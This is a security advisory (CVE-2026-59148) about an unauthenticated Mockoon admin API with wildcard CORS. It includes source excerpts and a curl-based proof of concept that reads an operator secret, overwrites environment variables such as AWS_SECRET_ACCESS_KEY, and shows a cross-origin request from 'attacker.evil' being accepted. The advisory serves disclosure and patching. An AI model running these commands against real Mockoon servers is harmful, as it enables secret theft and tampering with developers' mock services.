Advisory

GHSA-rqx4-3f6q-3x2v

Also known as: CVE-2026-59148

Summary

@Mockoon/commons-server: Unauthenticated admin API + wildcard CORS allows mock-state hijack and secret theft

Details

Summary

Mockoon's admin API (`commons-server/src/libs/server/admin-api.ts`) is mounted on the same Express listener as the user-defined mock routes, enabled by default in every shipped runtime (commons-server, CLI, serverless), serves **Access-Control-Allow-Origin: * on every endpoint with all HTTP methods allowed including PUT/POST/PATCH/DELETE/PURGE and Content-Type in Access-Control-Allow-Headers, and has zero authentication of any kind** (no token, no shared secret, no MOCKOON_ADMIN_TOKEN env var — searched the repo, returns zero hits).

Any unauthenticated caller who can reach the mock server's port (default 0.0.0.0:3000) can:

  • Read every MOCKOON_* env var used by the operator as secret material in templates (getEnvVar helper).
  • Write arbitrary process env vars (no prefix check on the WRITE path) — poison operator's MOCKOON_API_KEY, MOCKOON_JWT_SECRET, …, or write process-level vars like AWS_SECRET_ACCESS_KEY that the surrounding runtime consumes.
  • Rewrite every mock route's body / status / headers in-runtime via PUT /mockoon-admin/environment — downstream consumers (frontend dev-server, CI test suite, integration partner) receive attacker-controlled responses and headers including Set-Cookie, Location, Content-Security-Policy, etc.
  • Read transaction logs / SSE stream (consumer's request bodies + auth headers in clear).
  • Read/write global template vars; purge state / data buckets / logs.

Because of the wildcard CORS reply, the attack also lands cross-origin from a browser: a developer who runs mockoon-cli start ... locally and visits a malicious website gets their mock state hijacked.

---

Details

Root cause

packages/commons-server/src/libs/server/server.ts:127:

private options: ServerOptions = {
  ...,
  enableAdminApi: true,        // ← default on
};

packages/cli/src/commands/start.ts:200:

enableAdminApi: !userFlags['disable-admin-api'],   // default true unless --disable-admin-api passed

packages/serverless/src/libs/serverless.ts:21:

enableAdminApi: true,          // ← default on, no flag to disable in the constructor

packages/commons-server/src/libs/server/admin-api.ts:63-74 (permissive CORS on every admin endpoint):

app.use(`${adminApiPrefix}*`, (req, res, next) => {
  res.setHeaders(
    new Headers({
      'Access-Control-Allow-Origin': '*',
      'Access-Control-Allow-Methods':
        'GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS',
      'Access-Control-Allow-Headers':
        'Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With'
    })
  );
  next();
});

packages/commons-server/src/libs/server/admin-api.ts:151-166 (no auth, no prefix check on WRITE):

const setEnvVarHandler = (req, res) => {
  try {
    const { key, value } = req.body;
    if (key !== undefined && value !== undefined) {
      process.env[key] = value;                            // ← any process env, any value
      res.send({ message: `Environment variable '${key}' has been set to '${value}'` });
    } else {
      throw new Error('Key or value missing from request');
    }
  } catch (_error) {
    res.status(400).send({ message: 'Invalid request' });
  }
};

packages/commons-server/src/libs/server/admin-api.ts:373-393 (the most impactful — runtime mock rewrite):

app.put(`${adminApiPrefix}/environment`, (req, res) => {
  try {
    const environment: Environment = EnvironmentSchema.validate(req.body).value;
    if (!environment) {
      res.status(400).send({ message: 'Invalid environment format' });
      return;
    }
    updateEnvironment(environment);                        // ← runtime mutation of every route response
    res.send({ message: 'Environment updated' });
  } catch (_error) {
    res.status(400).send({ message: 'Invalid environment format' });
  }
});

Default hostname: '' (packages/commons/src/constants/environment-schema.constants.ts:33) → Node binds 0.0.0.0/:: (confirmed via lsof). Migration #16 (packages/commons/src/libs/migrations.ts:343) also forces missing hostnames to '0.0.0.0'.

---

PoC

Live reproduction (2026-05-11, @mockoon/[email protected])

npm install @mockoon/[email protected]. Minimal env.json with one route GET /users/:id whose response templates {{getEnvVar 'MOCKOON_API_KEY'}}. Start with:

MOCKOON_API_KEY="sk-operator-real-secret-DO_NOT_LEAK_xyz789" \
  mockoon-cli start --data env.json --port 3100 --repair --disable-log-to-file

Bind confirmed via lsof:

COMMAND  PID    USER  FD  TYPE  ...  NAME
node    39906  ...   14u  IPv6  ...  TCP *:3100 (LISTEN)    <-- all interfaces

Baseline mock response:

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

1) Read operator secret unauth

$ curl -s -i http://127.0.0.1:3100/mockoon-admin/env-vars/API_KEY
HTTP/1.1 200 OK
access-control-allow-origin: *
{"key":"MOCKOON_API_KEY","value":"sk-operator-real-secret-DO_NOT_LEAK_xyz789"}

2) Poison operator secret unauth → downstream consumer ingests attacker value

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-POISONED-BY-ATTACKER"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-POISONED-BY-ATTACKER'"}

$ curl -s http://127.0.0.1:3100/users/42
{"id":"42","name":"BENIGN_ALICE","role":"user","apiKey":"sk-POISONED-BY-ATTACKER"}

3) Write arbitrary non-MOCKOON_* env var (no prefix gate)

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Content-Type: application/json" \
    -d '{"key":"AWS_SECRET_ACCESS_KEY","value":"overwritten-by-attacker"}'
{"message":"Environment variable 'AWS_SECRET_ACCESS_KEY' has been set to 'overwritten-by-attacker'"}

4) Cross-origin CSRF from https://attacker.evil

$ curl -s -i -X OPTIONS http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Access-Control-Request-Method: POST" \
    -H "Access-Control-Request-Headers: Content-Type"
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET,POST,PUT,PATCH,DELETE,HEAD,OPTIONS
Access-Control-Allow-Headers: Content-Type, Origin, Accept, Authorization, Content-Length, X-Requested-With

$ curl -s -X POST http://127.0.0.1:3100/mockoon-admin/env-vars \
    -H "Origin: https://attacker.evil" \
    -H "Content-Type: application/json" \
    -d '{"key":"MOCKOON_API_KEY","value":"sk-EXFIL-FROM-attacker.evil"}'
{"message":"Environment variable 'MOCKOON_API_KEY' has been set to 'sk-EXFIL-FROM-attacker.evil'"}

Wildcard Access-Control-Allow-Origin: * + Access-Control-Allow-Methods covering PUT/POST/PATCH + Content-Type in Access-Control-Allow-Headers mean the browser preflight passes for non-simple JSON POSTs. A developer who visits a malicious site while their Mockoon CLI is running is fully exploitable from JavaScript.

Severity

High Basis: The source's own band: HIGH

Dates

Published
2026-09-11 22:04 UTC
Modified
2026-09-11 22:15 UTC

Affected packages and fixes

@mockoon/commons-server

npm · All systems

Affected

  • introduced 0, fixed 9.7.0 (semver)

Fixed versions

9.7.0

Fix

@mockoon/cli

npm · All systems

Affected

  • introduced 0, fixed 9.7.0 (semver)

Fixed versions

9.7.0

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences